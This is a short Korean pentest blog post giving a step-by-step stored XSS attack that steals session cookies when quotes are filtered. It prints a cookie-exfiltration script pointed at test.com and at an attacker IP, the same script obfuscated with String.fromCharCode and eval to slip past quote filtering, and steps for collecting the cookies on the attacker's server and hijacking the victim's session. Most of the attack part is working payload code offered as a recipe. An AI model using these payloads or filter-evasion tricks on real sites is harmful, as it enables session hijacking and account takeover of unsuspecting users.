의미없는 블로그
싱글쿼터 없이 Stored XSS 시나리오 (쿠키 탈취) 본문
쿠키 탈취 스크립트는 보통 이거 쓰는데
<script>document.location="http://test.com/test.php?cookie="+document.cookie;</script>
싱글쿼터나 더블쿼터 막혀있으면 이렇게 아스키값으로 쓰면 된다
<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,
116,116,112,58,47,47,49,53,48,46,50,52,46,57,53,46,49,51,52,47,116,101,115,116,46,112,104,112,63,99,111,111,
107,105,101,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59))</script>
아스키 변환 사이트는 여기고
https://www.easycalculation.com/ascii-hex.php
이렇게 괄호 안의 값 아스키로 변환해서 넣으면 된다
String.fromCharCode(document.location="http://test.com/test.php?cookie="+document.cookie;)
1) 공격자가 자신의 서버(150.24.95.134)에 쿠키값 탈취하는 페이지(test.php) 생성한다
2) test.php 작성하고 cookie.txt 만들어 놓기
3) XSS 존재하는 페이지에 악성 스크립트 삽입 시도 (공격자 서버로 쿠키값 보내는 스크립트)
[원래 스크립트]
<script>document.location="http://150.24.95.134/test.php?cookie="+document.cookie;</script>
[아스키로 치환한거]
<script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,
116,116,112,58,47,47,49,53,48,46,50,52,46,57,53,46,49,51,52,47,116,101,115,116,46,112,104,112,63,99,111,111,
107,105,101,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59))</script>
4) 희생자가 XSS 포인트 클릭
5) 공격자 서버로 쿠키값 전달됨 (쿠키값에 \는 왜 생기는지 모르겠는데 원래 쿠키에는 없어서 지워줘야함)
6) 쿠키값 사용 시도 (특수문자도 있고 띄어쓰기도 있고 그래서 그냥 URL 인코딩 해버렸다)
7) 희생자 세션 획득
'# 나 > pentest (WEB)' 카테고리의 다른 글
[Tools] ysoserial 사용하기 (1) | 2019.12.12 |
---|---|
파일 다운로드 모듬구이 (0) | 2019.12.06 |
싱글쿼터 없이 Stored XSS 시나리오 (notepad.exe 실행) (0) | 2019.12.04 |
[Tools] sqlmap 사용하기 (0) | 2019.11.20 |
의식의 흐름 기법 (0) | 2019.11.19 |